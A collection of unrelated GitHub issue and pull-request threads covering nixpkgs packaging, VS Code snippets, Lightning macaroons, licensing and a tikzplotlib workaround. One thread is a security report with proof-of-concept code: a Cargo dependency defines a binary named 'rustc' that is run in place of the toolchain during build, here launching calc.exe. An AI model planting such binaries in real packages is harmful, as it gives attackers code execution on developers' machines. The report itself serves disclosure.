Note that commandLineArgs are passed from the derivation inputs, enabling a consumer to override it and set a default CLI flag. This is useful for setting values like --password-store="gnome-libsecret", which is sometimes necessary to overcome safeStorage detection outside of predefined desktop environments.
Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

For non-Linux: Is sandboxing enabled in nix.conf? (See Nix manual)

[ ] sandbox = relaxed
[ ] sandbox = true

[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[x] Tested basic functionality of all binary files (usually in ./result/bin/)
24.11 Release Notes (or backporting 23.11 and 24.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[x] Fits CONTRIBUTING.md.

Add a :+1: reaction to pull requests you find important.

Result of nixpkgs-review pr 317309 run on x86_64-linux 1

1 package built:

ytmdesktop

Tested it locally and looks good to me. Thanks for picking this back up!

Result of nixpkgs-review pr 317309 run on x86_64-linux 1

1 package built:

ytmdesktop

Is there anything else that needs doing for this to be merged?
Result of nixpkgs-review pr 317309 run on x86_64-linux 1

1 package built:

ytmdesktop


FortiOS & FortiProxy - Heap buffer overflow in sslvpn pre-authentication -<PHONE_NUMBER>4

Minor tweaks to links to add some context around known vulns


TypeScript type & interface Props configuration

TypeScript allows to model types with 2 options - a type and an interface.
A comparison between the two can be found in this blogpost
Is there an option to change the TypeScript snippets to use types instead of interfaces when declaring the Props  type?
For example instead of generating with tsrafc
interface Props {}

export const Example = (props: Props) => <> ... </>;

to generate
type Props = {};

export const Example = (props: Props) => <> ... </>;

@talohana There is #62 an issue to track those. Unfortunately I didn't have time to look how to implement those options and then apply changes to json files. I thought of some placeholders and then replacing with proper value i.e.:
Option with select options: Interface / Props
and then based on this value replace all occurrences of this placeholder in snippets, but it would also force users to restart whole VSCode as snippets are loaded on start AFAIK.

Since I'm the only user on my machine, editing C:\Users{user}.vscode\extensions\dsznajder.es7-react-js-snippets-3.1.1\snippets\ts-snippets.json and replacing interface with type is a good work around.

Editing C:\Users{user}.vscode\extensions\dsznajder.es7-react-js-snippets-3.1.1\snippets\ts-snippets.json and replacing interface with type and adding the additional = is a good workaround.

Is there a way to save this change with vscode settings sync?

Tracked in #185


Add missing functionals and transform to docs.

Closes #1314. This will need to be cherry-picked in 0.8, #1317.

@NicolasHug Looks like audio's build_doc job does not leave an artifact. If you have time, can you look into it?


Adds patch method to Api with corresponding test

With the patch method you can do partial updates, which can be handy in a lot of cases

This resolves #154


Arbitrary code execution during cargo build

Problem
When cargo builds a package, it adds the dependency directory to the front of the PATH environment variable.
As a result, the malicious package's modified executable is resolved and executed before toolchain executables such as rustc or cc.
This means that a malicious package may lead to arbitrary code execution.
This appears to be a similar issue to CVE-2024-24787(https://pkg.go.dev/vuln/GO-2024-2825), which was recently discovered in Golang.
However, this bug affects all operating systems, not just Darwin.
Additionally, while CVE-2024-24787 modifies path resolution by directly changing linker flags, Cargo does not require that.
Steps

Configure malicious package.

rustc.rs

use std::process::Command;

fn main()
{
	let _test = Command::new("C:\\\\Windows\\\\System32\\\\calc.exe")
		.spawn();
}

main.rs

mod rustc;
fn main() {
    println!("Hello, world!");
}

Cargo.toml

[package]
name = "poc"
version = "0.1.0"
edition = "2021"

# See more keys and their definitions at <https://doc.rust-lang.org/cargo/reference/manifest.html>

[dependencies]
cc = "1.0.94" # for waiting to malicious program

[[bin]]
name = "rustc"
path = "src/rustc.rs"

[[bin]]
name = "test"
path = "src/test.rs"

Result

Running cargo build executes arbitrary code.

https://github.com/rust-lang/cargo/assets/83567597/d5f0eeac-0aa6-40a4-84ed-17d0fe69d10d

PoC Package
https://drive.google.com/file/d/1wnK9YxAeI6HwLXSVp5k7eN-EvtD9hMa8/view?usp=sharing

Possible Solution(s)

Place the build/deps directory at the end of PATH.

The Security team says that break legitimate functionality that expects local libraries to be considered before system libraries. However, it is questionable whether there are cases where local libraries should be considered first.

Register a blacklist to prevent building with the executable name of the toolchain used by Rust.

Notes
I reported this bug to the Rust Security Response WG, but it was not treated as a security vulnerability.
Version
release: 1.77.2
commit-hash: e52e360061cacbbeac79f7f1215a7a90b6f08442
commit-date: 2024-03-26
host: x86_64-pc-windows-msvc
libgit2: 1.7.2 (sys:0.18.2 vendored)
libcurl: 8.5.0-DEV (sys:0.4.70+curl-8.5.0 vendored ssl:Schannel)
os: Windows 10.0.22631 (Windows 11 Professional) [64-bit]

It probably was not treated as a vulnerability because Cargo intentionally gives you a way to run arbitrary Rust code at build time via build scripts.

@rustbot label +A-security


show macaroons in the web GUI for specially scoped accounts like custodial accounts

Is your feature request related to a problem? Please describe.
In the web GUI, you can only use LNC to connect to specially scoped accounts like custodial accounts. We need the access to the macaroons because https://github.com/lightninglabs/lightning-node-connect/issues/71 and https://github.com/lightninglabs/lightning-node-connect/issues/70 make it hard for developing machine to machine payment systems (like http://andyschroder.com/DistributedCharge/) where we can safely limit the machine's access to funds via a limited custodial account.
Describe the solution you'd like
Show macaroons in the web GUI for custodial accounts.
Describe alternatives you've considered
https://docs.lightning.engineering/lightning-network-tools/lightning-terminal/accounts#docs-internal-guid-587703e5-7fff-5b2b-8389-3bd9e7bf6d0b works, but it requires command line access and that's not convenient for the average user and it's harder to get to the command line in systems like Start9.

Please also add a string and QR code for an lndconnect URL (https://github.com/LN-Zap/lndconnect/blob/master/lnd_connect_uri.md). lndconnect is different from Lightning Node Connect, but they both should be usable. People with a dedicated public static IP address or a static private IP address don't need to use Lightning Node Connect, lndconnect works for them, the QR code is just a bit dense. lndconnect is way simpler to implement than Lightning Node Connect for clients and since we don't have a Lightning Node Connect library for many programming languages, this could help a lot of applications.

Depending on how you solve it, this issue may be considered a dependency of https://github.com/lightninglabs/lightning-terminal/issues/582.

Again, think this is great feedback and super helpful. We will start to think about designs and prioritize of implementation here. My only concern would be whether there is ongoing maintenance and support for lndconnect? I'm just not sure that there is. I also think we'd have to figure out some way to make it clear the differences between the two in UX as there are certain tradeoffs obviously.

Agreed that you'd need some clarity on the difference between the two QR codes.
lndconnect doesn't need any maintenance or support. It's a very simple URL scheme that's widely supported across multiple applications:
lndconnect://<host>:<port>?[cert=<base64url DER certifcate>&]macaroon=<base64url macaroon>
This scheme is defined at https://github.com/LN-Zap/lndconnect/blob/master/lnd_connect_uri.md#syntax . lndconnect is different from Lightning Node Connect in that it doesn't require a proxy and it doesn't have a limited time that it can be valid for like the PAKE used in Lightning Node Connect. An lndconnect URL is valid as long as the macaroon hasn't been revoked.


uintcv stores wrong number

What version of Stacks.js are you using?
6.5.4
Describe the bug
uintCV(10000000000000000000000000000000) => { type: 1, value:<PHONE_NUMBER>999999635896294965248n }
How to reproduce
run the above code
Expected behavior
uintCV should encode the big number correctly
Additional context
Try to renew friedger.crashpunks on https://renewbns.com/

There should be an error


Added support for Scala Native 0.4.0-M2.

Added support for crosscompilation between Scala Native 0.3.9 and 0.4.0-M1. Waiting for Scala Native 0.4.0-M1 to be on Sonatype.

@lihaoyi Can you trigger a Travis Rebuild now that Scala Native 0.4.0-M1 is out? Thank you.

Done.

Thank you @sjrd , I overlooked the fact that the release is not ready yet on Maven.. So, Travis build still fails.

Now everything should be in place, I'm ready for review.

There are conflicts with the base branch. Could you rebase first, please?

Yes I'm going to do it right now. Another thing, before knowing that milestone releases are not binary compatible with each other I updated Scala.js from 1.0.0-M1 to the latest 1.0.0-M7. Now that I know they are two completely different artifacts, I understand that it is not necessarily good to update. Should I revert the change?

I merged the commits in a commit with a more meaningful comment.

There's absolutely no reason whatsoever to keep supporting old milestones of Scala.js 1.x. Upgrading to M7 is good.

Perfect, then I'm asking on Scala Native gitter for someone to review 👌.

LGTM! 👍


FCS_RADSEC_EXT.1 consistency issues

The updated copy of FCS_RADSEC_EXT.1 defers to the NDcPP for the (D)TLS implementation. However, one issue with this is that FCS_RADSEC_EXT.1.2 allows PSKs instead of X.509 certificates for authentication. The NDcPP (D)TLS requirements only define ciphersuites that use X.509 for authentication and so there is no coverage of the PSK case, e.g. TLS_PSK_WITH_AES_128_CBC_SHA as defined in the previous version of the SFR.
Need to resolve what happens to the (D)TLS claims in the event that RadSec is claimed but only PSK is used for authentication, unless the solution is to mandate X.509 for this.

Note also that the EAs from the previous draft of the EP are no longer applicable to the updated SFR since it was changed significantly. New EAs will need to be developed once we determine how to update the SFR with respect to the issue raised.


Support for other browsers than Chrome (and without add-ins)?

hello,
I was wondering if I'm doing something wrong, but even your demo page is only showing this:

In Chrome this message includes a link to a Chrome add-in to support docs, but this kinda defeats the purpose, if I have to "prepare" my browser beforehand.
I even tested two add-ins in firefox, but the message is still showing.
There is no mentioning of any required add-ins, nor that this is only working with specific browsers.

The linked browser plugin works also for edge and opera, but however to have it working for all you can implement IFileDisplay and render with a library you prefer. But mostly all of them are paid libraries so that's the reason why I currently didn't have implemented it, but some day I want to do it but currently not started with.
The last file display I've made was for simple excel sheets


License inconsistency betweent the LICENSE file and the setup.cfg metadata

The LICENSE says Apache2, the setup.cfg says GPL2. The underlying libheif is LGPL3. Found this by digging into the list of projects from this comment on  numpy/numpy#24138. Did I read things right here?

x265 HEVC encoder has GPL2.
libheif as you say has LGPL3.
Sources of the pillow_heif is under Apache2.
GPL2 is license for binary wheels, as x265 binaries are in the wheels.
P.S.: I have a solution for that in mind, as latest libheif supports plugins, need to check idea on the musl based OS, if ok LICENSE will be Apache2(source)/LGPL3(wheels) for pillow_heif.

I think Apache2 and GPL2 are incompatible licenses, from the middle of https://www.apache.org/licenses/GPL-compatibility.html:

Despite our best efforts, the FSF has never considered the Apache License to be compatible with GPL version 2, citing the patent termination and indemnification provisions as restrictions not present in the older GPL license. The Apache Software Foundation believes that you should always try to obey the constraints expressed by the copyright holder when redistributing their work.

I will change the license to BSD 3-Clause from the next release.
Thank you for pointing it out.

:+1: Thanks for providing this wrapper

Thanks


chore: adding johnbley to js approvers

I wanted to propose @johnbley as js approver. He is contributing to this project with web related stuff and I believe it would be great to have him as an approver too.
https://github.com/open-telemetry/opentelemetry-js-contrib/commits?author=johnbley
https://github.com/open-telemetry/opentelemetry-js/commits?author=johnbley

Welcome to the team John

Thanks!

Welcome to the team John

Thanks!


upgrade test is flaky

Upgrade tests has been flaky. One third of runs failed.
Previous issue:

[ ] https://github.com/coreos/etcd-operator/issues/1152
[ ] https://github.com/coreos/etcd-operator/issues/1151
[x] https://github.com/coreos/etcd-operator/issues/1076

Notably, these tests failed most:

[ ] TestHealOneMemberForOldCluster
[ ] TestDisasterRecovery
[ ] TestBackupForOldCluster

Create this issue to sum up, track all progress, discussions.

I'm stress running each test to see if I could reproduce.

We still have high volumes of upgrade flakes: https://jenkins-etcd.prod.coreos.systems/view/operator/job/etcd-operator-upgrade-stress/

Closing. We have done a lot of work before and it is more stable now


Update monitor-instances-health-check.md

added the 60s timeout: if the path does not return a response within 1 minute the health check ping is considered unhealthy.
What happens if my app is running on a single instance?
If your app is only scaled to one instance and becomes unhealthy, it will not be removed from the load balancer because that would take down your application entirely. However, after one hour of returning unhealthy pings, the instance is replaced. Scale out to two or more instances to get the rerouting benefit of Health check. If your app is running on a single instance, you can still use Health check's monitoring feature to keep track of your application's health.
Is HealthCheck following the application code configured redirects between the default domain and the custom domain?
No, Health Check feature is pinging the path of the default domain of the web application. If there is a redirect from the default domain to a custom domain, then the status code that health check is returning is not going to be a 200 but a redirect (301), which is going to mark the worker unhealthy.

Learn Build status updates of commit 126fd6c:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

articles/app-service/monitor-instances-health-check.md
:white_check_mark:Succeeded

For more details, please refer to the build report.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
For any questions, please:Try searching the learn.microsoft.com contributor guidesPost your question in the Learn support channel

#sign-off


Enable IPv6 across solution

Code to be updated to support IPv6 in the VPC, at the network edge and with the Fargate proxies

Closing this issue - IPv6 support already merged and included in first release (v0.0.1)


⚠ ClamAV has degraded performance

In 2339513, ClamAV (https://spamassassin.apache.org/) experienced degraded performance:

HTTP code: 200
Response time: 81 ms

Resolved: ClamAV performance has improved in 1a43220 after 16 minutes.


Compatibility issue with matplotlib Legend _ncol vs _ncols

in _legend.py
if obj._ncol != 1:
        data["current axes"].axis_options.append(f"legend columns={obj._ncol}")

leads to
AttributeError: 'Legend' object has no attribute '_ncol'
Fix: replace with _ncols

This issue came up with an internal change in matplotlib 3.6, so all newer versions of matplotlib will not work with tikzplotlib out of the box.
Whilst #558 is fixing the issue, it does not seem like tikzplotlib would get a new release anytime soon... :disappointed:
In the meantime, the following workaround lets you use tikzplotlib with matplotlib >= 3.6:
def tikzplotlib_fix_ncols(obj):
    """
    workaround for matplotlib 3.6 renamed legend's _ncol to _ncols, which breaks tikzplotlib
    """
    if hasattr(obj, "_ncols"):
        obj._ncol = obj._ncols
    for child in obj.get_children():
        tikzplotlib_fix_ncols(child)

You then need to call tikzplotlib_fix_ncols(fig) with the figure object (e.g. fig = plt.figure() for a new one, or fig = plt.gcf() for the currently-active figure) before passing the figure to tikzplotlib.save.

I've now also merged the fix in my fork, which you can install using pip install git+https://github.com/st--/tikzplotlib@develop.

in _legend.py
if obj._ncol != 1:
        data["current axes"].axis_options.append(f"legend columns={obj._ncol}")

leads to AttributeError: 'Legend' object has no attribute '_ncol'
Fix: replace with _ncols

NB666！！！Thank you very much, beyond words！！！


Some ideas

Hi,
i really like this release. I've got some ideas and a few questions that i would discuss with you on discord if possible.
Add me: deua#1132

Request sent, issue closed.